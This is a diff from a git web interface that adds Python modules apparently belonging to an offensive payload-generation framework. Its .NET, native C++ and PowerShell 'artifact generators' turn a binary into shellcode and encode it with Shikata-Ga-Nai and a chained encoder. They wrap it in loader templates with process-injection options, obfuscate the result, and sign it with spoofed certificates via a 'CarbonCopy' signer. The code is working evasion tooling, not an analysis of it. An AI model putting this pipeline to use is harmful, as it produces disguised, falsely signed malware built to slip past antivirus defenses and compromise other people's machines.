||||
|
||||
def set_architectures(self, arch):
|
||||
if arch in ["x86", "x64"]:
|
||||
self.arch = self.tool_arch = arch
|
||||
if arch == "anycpu":
|
||||
self.arch = arch
|
||||
self.tool_arch = None
|
||||
elif arch == "anycpu-x86":
|
||||
self.arch = "anycpu"
|
||||
self.tool_arch = "x86"
|
||||
elif arch == "anycpu-x64":
|
||||
self.arch = "anycpu"
|
||||
self.tool_arch = "x64"
|
||||
|
||||
def pack_exe(self):
|
||||
if os.path.isfile(self.outfiles["packed"]):
|
||||
os.unlink(self.outfiles["packed"])
|
||||
packer_args = {
|
||||
"/target": "exe",
|
||||
"/out": f'"{self.outfiles["packed"]}"'
|
||||
}
|
||||
packer = ILPacker(args=packer_args)
|
||||
packer.compile([self.outfiles["temp"]] + self.writer.template.libraries)
|
||||
if os.path.isfile(self.outfiles["packed"]):
|
||||
self.is_packed = True
|
||||
shutil.move(self.outfiles["packed"], self.outfiles["temp"])
|
||||
Console.auto_line(f" [+] Success: packed file stored at {self.outfiles['temp']}")
|
||||
Console.auto_line(f" [+] File Signature: {file_signature(self.outfiles['temp'])}")
|
||||
else:
|
||||
Console.auto_line(" [-] Failure: Error during compilation")
|
||||
raise FileNotFoundError("Error generating EXE")
|
||||
|
||||
def sign_exe(self):
|
||||
host = Config().get("SIGNING", "domain")
|
||||
signer = CarbonCopy.CarbonCopy(verbose=False, host=host)
|
||||
signer.sign(signee=self.outfiles["temp"], signed=self.outfiles["signed"])
|
||||
shutil.copy(self.outfiles["signed"], self.outfiles['temp'])
|
||||
|
||||
def obfuscate_exe(self):
|
||||
obfuscator = Obfuscator.choose_obfuscator(language=Language.CSHARP, filename=self.outfiles['temp'])
|
||||
new_file = obfuscator.obfuscate()
|
||||
if new_file:
|
||||
shutil.move(new_file, self.outfiles['temp'])
|
||||
|
||||
def finalise_exe(self):
|
||||
file = self.outfiles["final"]
|
||||
shutil.move(self.outfiles['temp'], file)
|
||||
if os.path.isfile(file):
|
||||
Console.auto_line(f" [+] Success: file stored at {file}")
|
||||
return file
|
||||
|
||||
def compile_exe(self):
|
||||
self.compiler.default_exe_args(outfile=self.outfiles["temp"])
|
||||
if self.dll:
|
||||
self.compiler.default_dll_args(outfile=self.outfiles["temp"])
|
||||
self.refresh_libraries()
|
||||
self.compiler.compile(self.writer.source_files)
|
||||
if not os.path.isfile(self.outfiles['temp']):
|
||||
Console.auto_line(" [-] Failure: Error during compilation")
|
||||
raise FileNotFoundError("Error generating EXE")
|
||||
|
||||
def compile_dll(self, source, outfile, libs: list = None):
|
||||
self.compiler.default_dll_args(outfile=outfile)
|
||||
self.compiler.set_libraries(libs=libs)
|
||||
self.compiler.set_architecture(arch=self.arch)
|
||||
self.compiler.compile([source])
|
||||
if not os.path.isfile(outfile):
|
||||
Console.auto_line(" [-] Failure: Error during compilation")
|
||||
raise FileNotFoundError(f"Error generating {os.path.basename(outfile).upper()} DLL")
|
||||
|
||||
def clean(self):
|
||||
self.writer.clean()
|
||||
base_paths = [get_project_root(), "temp"]
|
||||
for base_path in base_paths:
|
||||
wildcards = [
|
||||
"*.cs",
|
||||
"*.obj",
|
||||
"*.exp",
|
||||
"*.lib",
|
||||
"*.pdb",
|
||||
"*.shc.exe",
|
||||
"*.bin",
|
||||
"coded.txt",
|
||||
"*.obfuscated",
|
||||
"*.exe.config"
|
||||
]
|
||||
if base_path == "temp":
|
||||
wildcards = ["*"]
|
||||
for wildcard in wildcards:
|
||||
subprocess.call(f"del /F /Q \"{os.path.join(base_path, wildcard)}\"",
|
||||
shell=True,
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.DEVNULL)
|
||||
for name, path in self.outfiles.items():
|
||||
if name.find("final") < 0:
|
||||
try:
|
||||
os.unlink(path)
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
|
||||
def load_writer_chain(self):
|
||||
self.writer.load_chain(chain=self.chain)
|
||||
|
||||
def refresh_libraries(self):
|
||||
self.writer.template.process_modules()
|
||||
self.compiler.set_libraries(libs=self.writer.template.libraries)
|
||||
self.dependencies = ",".join([f'"{os.path.basename(lib)}"' for lib in self.writer.template.libraries])
|
||||
|
||||
def generate(self):
|
||||
try:
|
||||
self.generate_wrapped()
|
||||
except:
|
||||
traceback.print_exc()
|
||||
self.clean()
|
||||
|
||||
def generate_wrapped(self):
|
||||
step = 0
|
||||
substep = 1
|
||||
Console.auto_line(f"[+] .Net Artifact Generator Started At {datetime.utcnow()}")
|
||||
Console.auto_line(f"[*] Phase {step}: Loading...")
|
||||
|
||||
if not self.chain.validate():
|
||||
Console.auto_line("\n[-] ERROR: Failed to validate encoding chain")
|
||||
return
|
||||
step += 1
|
||||
Console.auto_line(f"[*] Phase {step}: Converting binary into shellcode")
|
||||
Console.auto_line(f" [>] Transformer: {self.transformer.__class__.__name__}")
|
||||
shellcode_bytes = self.transformer.transform(target=self.file)
|
||||
step += 1
|
||||
Console.auto_line(f"[*] Phase {step}: Encoding")
|
||||
if self.sgn:
|
||||
Console.auto_line(
|
||||
f" [>] Phase {step}.{substep}: Using Shikata-Ga-Nai {self.tool_arch} to encode the shellcode")
|
||||
shellcode_bytes = sgn(shellcode_bytes, arch=self.tool_arch)
|
||||
substep += 1
|
||||
Console.auto_line(f" [>] Phase {step}.{substep}: Using Inceptor chained encoder to encode the shellcode")
|
||||
Console.auto_line(f" [>] Encoder Chain: {self.chain.to_string()}")
|
||||
final_shellcode = self.chain.encode(shellcode_bytes)
|
||||
step += 1
|
||||
substep = 1
|
||||
# print(final_shellcode)
|
||||
# with open("coded.txt", "wb") as test:
|
||||
# test.write(final_shellcode)
|
||||
Console.auto_line(f" [>] Shellcode size: {len(final_shellcode)}")
|
||||
Console.auto_line(f" [>] Shellcode Signature: {shellcode_signature(final_shellcode)}")
|
||||
# print(f" [>] Iteration required for decoding: {len(final_shellcode)}")
|
||||
|
||||
Console.auto_line(f"[*] Phase {step}: Generating source files using {self.writer.template.template_name}")
|
||||
Console.auto_line(
|
||||
f" [>] Phase {step}.{substep}: Writing CS file in .\\temp\\{os.path.basename(self.writer.outfile)}")
|
||||
self.writer.write_source(final_shellcode)
|
||||
substep += 1
|
||||
if len(self.writer.template.libraries) > 0:
|
||||
dep = ",".join([f'"{os.path.basename(lib)}"' for lib in self.writer.template.libraries])
|
||||
Console.auto_line(f" [>] Phase {step}.{substep}: Compiling and linking dependency files in {dep}")
|
||||
step += 1
|
||||
substep = 1
|
||||
Console.auto_line(f"[*] Phase {step}: Compiling")
|
||||
self.compile_exe()
|
||||
step += 1
|
||||
|
||||
if len(self.writer.template.libraries) > 0:
|
||||
Console.auto_line(f"[*] Phase {step}: Merging Resources")
|
||||
self.pack_exe()
|
||||
step += 1
|
||||
|
||||
if self.obfuscate:
|
||||
Console.auto_line(f"[*] Phase {step}: Obfuscate dotnet binary")
|
||||
self.obfuscate_exe()
|
||||
step += 1
|
||||
|
||||
if self.sign:
|
||||
Console.auto_line(f"[*] Phase {step}: Sign dotnet binary")
|
||||
self.sign_exe()
|
||||
step += 1
|
||||
|
||||
Console.auto_line(f"[*] Phase {step}: Finalising")
|
||||
artifact = self.finalise_exe()
|
||||
step += 1
|
||||
|
||||
Console.auto_line(f"[*] Phase {step}: Cleaning up")
|
||||
self.clean()
|
||||
Console.auto_line(f"[+] .Net Artifact Generator Finished At {datetime.utcnow()}")
|
||||
return artifact
|
|
@ -0,0 +1,21 @@
|
|||
import os
|
||||
import sys
|
||||
from abc import ABC, abstractmethod
|
||||
|
||||
from encoders.EncoderChain import EncoderChain
|
||||
|
||||
|
||||
class Generator(ABC):
|
||||
def __init__(self, file, chain=None):
|
||||
self.file = file
|
||||
if not os.path.isfile(file):
|
||||
print(f"[-] Error reading input file")
|
||||
sys.exit(1)
|
||||
|
||||
self.chain = chain
|
||||
if not chain:
|
||||
self.chain = EncoderChain()
|
||||
|
||||
@abstractmethod
|
||||
def generate(self):
|
||||
pass
|
|
@ -0,0 +1,272 @@
|
|||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import time
|
||||
import traceback
|
||||
from datetime import datetime
|
||||
|
||||
from compilers.Compiler import CompilerException, Compiler
|
||||
from config.Config import Config
|
||||
from converters.TransformerFactory import TransformerFactory
|
||||
from encoders.EncoderChain import EncoderChain
|
||||
from engine.CodeWriter import CodeWriter
|
||||
from engine.Filter import Filter
|
||||
from enums.Language import Language
|
||||
from generators.Generator import Generator
|
||||
from utils import CarbonCopy
|
||||
from utils.console import Console
|
||||
from utils.utils import shellcode_signature, py_bin2sh, sgn
|
||||
|
||||
|
||||
class NativeArtifactGenerator(Generator):
|
||||
def __init__(self,
|
||||
file: str = None,
|
||||
chain: EncoderChain = None,
|
||||
outfile: str = None,
|
||||
dll: bool = False,
|
||||
sgn: bool = False,
|
||||
transformer=None,
|
||||
pinject: bool = False,
|
||||
process: str = None,
|
||||
delay: int = None,
|
||||
arch: str = None,
|
||||
sign: bool = False,
|
||||
obfuscate: bool = False,
|
||||
exports: str = None,
|
||||
compiler: str = "cl",
|
||||
modules: list = None
|
||||
):
|
||||
super().__init__(file=file, chain=chain)
|
||||
self.arch = arch
|
||||
config = Config()
|
||||
self.placeholder = config.get("PLACEHOLDERS", "SHELLCODE")
|
||||
artifacts_path = config.get_path("DIRECTORIES", "ARTIFACTS")
|
||||
self.outfile = outfile
|
||||
|
||||
# DLL Wrap generates a Write-Execute DLL
|
||||
self.dll_wrap = dll
|
||||
# DLL will generate a DLL instead of an exe (I might get rid of this distinction as it generates a bit of mess)
|
||||
self.dll = False
|
||||
if self.outfile.endswith("dll"):
|
||||
self.dll = True
|
||||
self.sgn = sgn
|
||||
self.sign = sign
|
||||
self.exports = exports
|
||||
self.obj_files = []
|
||||
|
||||
if transformer:
|
||||
self.transformer = TransformerFactory.from_name(transformer)
|
||||
else:
|
||||
self.transformer = TransformerFactory.from_file(self.file)
|
||||
|
||||
# EXE Writer
|
||||
self.exe_writer = CodeWriter(language=Language.CPP,
|
||||
pinject=pinject,
|
||||
process=process,
|
||||
delay=delay,
|
||||
modules=modules,
|
||||
_filter=Filter(exclude=["dll"]),
|
||||
arch=arch)
|
||||
self.exe_writer.load_chain(chain=self.chain)
|
||||
working_directory = Config().get_path("DIRECTORIES", "WRITER")
|
||||
|
||||
basename = os.path.basename(os.path.splitext(outfile)[0])
|
||||
self.outfiles = {
|
||||
"exe-temp": os.path.join(working_directory, f"{basename}-temp.exe"),
|
||||
"dll-temp": os.path.join(working_directory, f"{basename}-temp.dll"),
|
||||
"exe": os.path.join(artifacts_path, "bison.exe"),
|
||||
"dll": os.path.join(artifacts_path, "sagat.dll"),
|
||||
"exe-signed": os.path.join(artifacts_path, f"{basename}-signed.exe"),
|
||||
"dll-signed": os.path.join(artifacts_path, f"{basename}-signed.dll"),
|
||||
"exe-final": outfile,
|
||||
"dll-final": f"{basename}.dll",
|
||||
}
|
||||
|
||||
if obfuscate:
|
||||
compiler = "llvm"
|
||||
self.compiler = Compiler.from_name(compiler, args={}, arch=self.arch)
|
||||
self.compiler.default_exe_args(self.outfiles["exe-temp"])
|
||||
|
||||
# DLL Writer
|
||||
self.dll_writer = None
|
||||
if self.dll:
|
||||
_dll_filter = Filter(include=["dll"], exclude=["write-execute"])
|
||||
|
||||
self.dll_writer = CodeWriter(
|
||||
language=Language.CPP,
|
||||
template=config.get_path("DIRECTORIES", "DLL"),
|
||||
_filter=_dll_filter,
|
||||
modules=modules
|
||||
)
|
||||
elif self.dll_wrap:
|
||||
self.dll_writer = CodeWriter(
|
||||
language=Language.CPP,
|
||||
template=config.get_path("DIRECTORIES", "DLL"),
|
||||
_filter=Filter(include=["write-execute"]),
|
||||
modules=[]
|
||||
)
|
||||
self.dll_payload = None
|
||||
self.dll_compiler_args = self.compiler.default_dll_args(self.outfiles["dll-temp"])
|
||||
if self.exports and os.path.isfile(self.exports):
|
||||
self.dll_compiler_args["/DEF"] = f'"{os.path.abspath(self.exports)}"'
|
||||
|
||||
def compile_dll(self, shellcode=None):
|
||||
if not shellcode:
|
||||
shellcode = self.dll_payload
|
||||
self.dll_writer.write_source(shellcode=shellcode)
|
||||
self.compiler.aargs = ""
|
||||
self.compiler.default_dll_args(outfile=self.outfiles["dll-temp"])
|
||||
self.compiler.compile([self.dll_writer.outfile])
|
||||
if not os.path.isfile(self.outfiles["dll-temp"]):
|
||||
raise FileNotFoundError("Error generating DLL")
|
||||
|
||||
def sign_exe(self):
|
||||
host = Config().get("SIGNING", "domain")
|
||||
signer = CarbonCopy.CarbonCopy(verbose=False, host=host)
|
||||
signer.sign(signee=self.outfiles["exe-temp"], signed=self.outfiles["exe-signed"])
|
||||
shutil.copy(self.outfiles["exe-signed"], self.outfiles['exe-temp'])
|
||||
self.dll_payload = py_bin2sh(self.outfiles["exe-temp"])
|
||||
|
||||
def sign_dll(self):
|
||||
host = Config().get("SIGNING", "domain")
|
||||
signer = CarbonCopy.CarbonCopy(verbose=False, host=host)
|
||||
signer.sign(signee=self.outfiles["dll-temp"], signed=self.outfiles["dll-signed"])
|
||||
shutil.copy(self.outfiles["dll-signed"], self.outfiles['dll-temp'])
|
||||
|
||||
def finalise_exe(self):
|
||||
file = self.outfiles["exe-final"]
|
||||
shutil.copy(self.outfiles['exe-temp'], file)
|
||||
if os.path.isfile(file):
|
||||
Console.auto_line(f" [+] Success: file stored at {file}")
|
||||
return file
|
||||
|
||||
def finalise_dll(self):
|
||||
file = self.outfiles["dll-final"]
|
||||
shutil.copy(self.outfiles['dll-temp'], file)
|
||||
if os.path.isfile(file):
|
||||
Console.auto_line(f" [+] Success: file stored at {file}")
|
||||
return file
|
||||
|
||||
def compile_exe(self, shellcode):
|
||||
self.exe_writer.write_source(shellcode=shellcode)
|
||||
self.exe_writer.template.process_modules()
|
||||
self.compiler.default_exe_args(self.outfiles["exe-temp"])
|
||||
self.compiler.set_libraries(libs=self.exe_writer.template.libraries)
|
||||
|
||||
status = self.compiler.compile([self.exe_writer.outfile] + self.obj_files)
|
||||
|
||||
if not os.path.isfile(self.outfiles["exe-temp"]):
|
||||
raise FileNotFoundError("Error generating EXE")
|
||||
if not status:
|
||||
raise CompilerException("Compiler exited with errors")
|
||||
|
||||
self.dll_payload = py_bin2sh(self.outfiles["exe-temp"])
|
||||
|
||||
def clean(self):
|
||||
artifacts = [self.exe_writer.outfile]
|
||||
if self.dll:
|
||||
artifacts.append(self.dll_writer.outfile)
|
||||
for file in artifacts:
|
||||
os.unlink(file)
|
||||
base_paths = [".", "artifacts", "temp"]
|
||||
for base_path in base_paths:
|
||||
wildcards = [
|
||||
"tmp*",
|
||||
"*.cpp",
|
||||
"*.obj",
|
||||
"*.exp",
|
||||
"*.lib",
|
||||
"*.pdb",
|
||||
"*.shc.exe",
|
||||
"*.bin",
|
||||
"coded.txt",
|
||||
"*.obfuscated",
|
||||
"*.exe.config"
|
||||
]
|
||||
if base_path == "temp":
|
||||
wildcards = ["*"]
|
||||
for wildcard in wildcards:
|
||||
subprocess.call(f"del /F /Q {os.path.join(base_path, wildcard)}",
|
||||
shell=True,
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.DEVNULL)
|
||||
for name, path in self.outfiles.items():
|
||||
if name.find("final") < 0:
|
||||
try:
|
||||
os.unlink(path)
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
|
||||
def generate(self):
|
||||
try:
|
||||
self.generate_wrapped()
|
||||
except:
|
||||
traceback.print_exc()
|
||||
self.clean()
|
||||
|
||||
def generate_wrapped(self):
|
||||
step = 0
|
||||
substep = 1
|
||||
artifact = None
|
||||
|
||||
Console.auto_line(f"[+] Native Artifact Generator Started At {datetime.utcnow()}", )
|
||||
Console.auto_line(f"[*] Phase {step}: Loading...")
|
||||
step += 1
|
||||
if not self.chain.validate(language=Language.CPP):
|
||||
Console.auto_line("\n[-] ERROR: Failed to validate encoding chain")
|
||||
return
|
||||
|
||||
Console.auto_line(f"[*] Phase {step}: Converting binary into shellcode")
|
||||
Console.auto_line(f" [>] Transformer: {self.transformer.__class__.__name__}")
|
||||
shellcode_bytes = self.transformer.transform(target=self.file)
|
||||
step += 1
|
||||
Console.auto_line(f"[*] Phase {step}: Encoding")
|
||||
if self.sgn:
|
||||
Console.auto_line(f" [>] Phase {step}.{substep}: Using Shikata-Ga-Nai {self.arch} to encode the shellcode")
|
||||
shellcode_bytes = sgn(shellcode_bytes, arch=self.arch)
|
||||
substep += 1
|
||||
if not self.chain.is_empty():
|
||||
Console.auto_line(f" [>] Phase {step}.{substep}: Using Inceptor chained-encoder to encode the shellcode")
|
||||
Console.auto_line(f" [>] Encoder Chain: {self.chain.to_string()}")
|
||||
shellcode = self.chain.encode(shellcode_bytes)
|
||||
step += 1
|
||||
template = self.exe_writer.template.template_name if not self.dll else self.dll_writer.template.template_name
|
||||
Console.auto_line(f"[*] Phase {step}: Generating source files using {template}")
|
||||
Console.auto_line(f" [>] Phase {step}.{substep}: Writing CPP file in .\\temp\\{os.path.basename(self.exe_writer.outfile)}")
|
||||
time.sleep(1)
|
||||
step += 1
|
||||
if not self.dll:
|
||||
Console.auto_line(f"[*] Phase {step}: EXE compilation and Signing")
|
||||
Console.auto_line(f" [>] Phase {step}.{substep}: Compiling EXE...")
|
||||
self.compile_exe(shellcode)
|
||||
substep += 1
|
||||
Console.auto_line(f" [+] Success: file stored at {self.outfile}")
|
||||
Console.auto_line(f" [+] Shellcode Signature: {shellcode_signature(shellcode)}")
|
||||
if self.sign:
|
||||
Console.auto_line(f" [>] Phase {step}.{substep}: Signing native binary")
|
||||
step += 1
|
||||
substep = 1
|
||||
if self.dll or self.dll_wrap:
|
||||
Console.auto_line(f"[*] Phase {step}: DLL compilation and Signing")
|
||||
Console.auto_line(f" [>] Phase {step}.{substep}: Compiling DLL...")
|
||||
self.compile_dll(shellcode if not self.dll_wrap else None)
|
||||
Console.auto_line(f" [+] Success: file stored at {self.outfiles['dll-temp']}")
|
||||
substep += 1
|
||||
if self.sign:
|
||||
Console.auto_line(f" [>] Phase {step}.2: Signing native library")
|
||||
self.sign_dll()
|
||||
step += 1
|
||||
substep = 1
|
||||
Console.auto_line(f"[*] Phase {step}: Finalising")
|
||||
if not self.dll:
|
||||
Console.auto_line(f" [>] Phase {step}.{substep}: Finalising native binary")
|
||||
artifact = self.finalise_exe()
|
||||
substep += 1
|
||||
if self.dll or self.dll_wrap:
|
||||
Console.auto_line(f" [>] Phase {step}.{substep}: Finalising native library")
|
||||
self.finalise_dll()
|
||||
step += 1
|
||||
Console.auto_line(f"[*] Phase {step}: Cleaning up...")
|
||||
self.clean()
|
||||
Console.auto_line(f"[+] Native Artifact Generator Finished At {datetime.utcnow()}")
|
||||
return artifact
|
|
@ -0,0 +1,95 @@
|
|||
import shutil
|
||||
from datetime import datetime
|
||||
import os
|
||||
|
||||
from converters.TransformerFactory import TransformerFactory
|
||||
from engine.CodeWriter import CodeWriter
|
||||
from enums.Language import Language
|
||||
from generators.Generator import Generator
|
||||
from obfuscators.powershell.Karmaleon import Karmaleon
|
||||
from utils.console import Console
|
||||
from utils.utils import sgn
|
||||
|
||||
|
||||
class PowerShellArtifactGenerator(Generator):
|
||||
def __init__(self,
|
||||
file,
|
||||
chain=None,
|
||||
outfile=None,
|
||||
delay=None,
|
||||
transformer=None,
|
||||
arch: str = None,
|
||||
sgn: bool = False,
|
||||
pinject: bool = False,
|
||||
process: str = None,
|
||||
obfuscate: bool = False,
|
||||
modules: list = None
|
||||
):
|
||||
super().__init__(file, chain=chain)
|
||||
self.outfile = outfile
|
||||
self.obfuscate = obfuscate
|
||||
self.sgn = sgn
|
||||
self.arch = arch
|
||||
self.pinject = pinject
|
||||
self.process = process
|
||||
|
||||
if transformer:
|
||||
self.transformer = TransformerFactory.from_name(transformer)
|
||||
else:
|
||||
self.transformer = TransformerFactory.from_file(self.file)
|
||||
self.writer = CodeWriter(
|
||||
file=file,
|
||||
modules=modules,
|
||||
delay=delay,
|
||||
converter=self.transformer,
|
||||
language=Language.POWERSHELL,
|
||||
pinject=self.pinject,
|
||||
process=self.process,
|
||||
arch=arch
|
||||
)
|
||||
self.writer.load_chain(chain=chain)
|
||||
|
||||
def obfuscate_wrapper(self):
|
||||
karmaleon = Karmaleon(filename=self.writer.outfile, outfile=self.writer.outfile)
|
||||
karmaleon.obfuscate()
|
||||
|
||||
def generate(self):
|
||||
step = 0
|
||||
Console.auto_line(f"[+] PowerShell Artifact Generator Started At {datetime.utcnow()}")
|
||||
Console.auto_line(f"[*] Phase {step}: Loading...")
|
||||
step += 1
|
||||
if not self.chain.validate(language=Language.POWERSHELL):
|
||||
Console.auto_line("\n[-] ERROR: Failed to validate encoding chain")
|
||||
return
|
||||
|
||||
Console.auto_line(f"[*] Phase {step}: Converting binary into shellcode")
|
||||
step += 1
|
||||
shellcode = self.transformer.transform(target=self.file)
|
||||
Console.auto_line(f"[*] Phase {step}: Encoding")
|
||||
step += 1
|
||||
substep = 1
|
||||
if self.sgn:
|
||||
Console.auto_line(f" [>] Phase {step}.{substep}: Using Shikata-Ga-Nai {self.arch} to encode the shellcode")
|
||||
shellcode = sgn(shellcode, arch=self.arch)
|
||||
if not self.chain.is_empty():
|
||||
substep += 1
|
||||
Console.auto_line(f" [>] Phase {step}.{substep}: Using Inceptor chained encoder to encode the shellcode")
|
||||
Console.auto_line(f" [>] Encoder Chain: {self.chain.to_string()}")
|
||||
shellcode = self.chain.encode(shellcode)
|
||||
Console.auto_line(f"[*] Phase 3: Generating wrapper using {self.writer.template.template_name}")
|
||||
self.writer.write_source(shellcode=shellcode)
|
||||
if self.obfuscate:
|
||||
Console.auto_line(f"[*] Phase 4: Obfuscating PowerShell Wrapper")
|
||||
self.obfuscate_wrapper()
|
||||
|
||||
if os.path.isfile(self.writer.outfile):
|
||||
Console.auto_line(f" [>] PowerShell wrapper stored at {self.writer.outfile}")
|
||||
if self.outfile:
|
||||
shutil.copy(self.writer.outfile, self.outfile)
|
||||
if os.path.isfile(self.outfile):
|
||||
Console.auto_line(f" [>] PowerShell wrapper copied to {self.outfile}")
|
||||
os.unlink(self.writer.outfile)
|
||||
else:
|
||||
Console.auto_line(" [-] Error generating PowerShell Wrapper")
|
||||
Console.auto_line(f"[+] PowerShell Artifact Generator Finished At {datetime.utcnow()}")
|
||||
return self.outfile
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue